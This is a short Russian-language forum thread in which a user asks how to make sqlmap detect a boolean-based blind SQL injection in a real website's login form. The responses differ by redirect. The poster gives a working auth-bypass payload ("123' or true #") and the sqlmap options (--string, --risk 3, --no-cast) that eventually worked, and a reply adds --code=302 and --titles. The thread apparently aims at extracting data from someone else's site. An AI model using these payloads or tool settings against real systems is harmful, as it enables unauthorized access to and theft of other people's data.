[sqlmap] Boolean редирект

[branderbier]

Привет.
Есть один сайт со слепой скулей в логине. Ее конечно можно и руками разобрать, но там нестандартные названия таблиц и полей, так что хотелось бы автоматизировать это все.

Проблема вот в чем:
При логине посылаются "login=user&pass=password" (не верные данные) - 302 редирект на login.php?error=1
При "login=user&pass=123' or true #" - 302 редирект на login.php?usr=1234 (номер пользователя)

Пробовал через --not-string "Location: vulnsite.tld/login.php?error=1" - не видит инъекции. При этом в логе видно правильное срабатывание и редирект на login.php?usr=1234. Пробовал и просто --string и с --ignore-redirects и разные level и risk.

Как быть?

[k1u4nick]

--code=302 --titles=%что написанно в титле%

[branderbier]

Сообщение от k1u4nick

--code=302 --titles=%что написанно в титле%

Заголовок не меняется.
В данном случае я все-таки обошел эту тему через:
--no-cast --risk 3 --string "vulnsite.tld/login.php?usr=1234"
sqlmap got a 302 redirect to 'vulnsite.tld/login.php?error=1'. Do you want to follow? [Y/n] y
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n] n

Где-то в теле ответа в хтмл есть ссылка vulnsite.tld/login.php?usr=1234

Но на будущее вопрос остается открытым.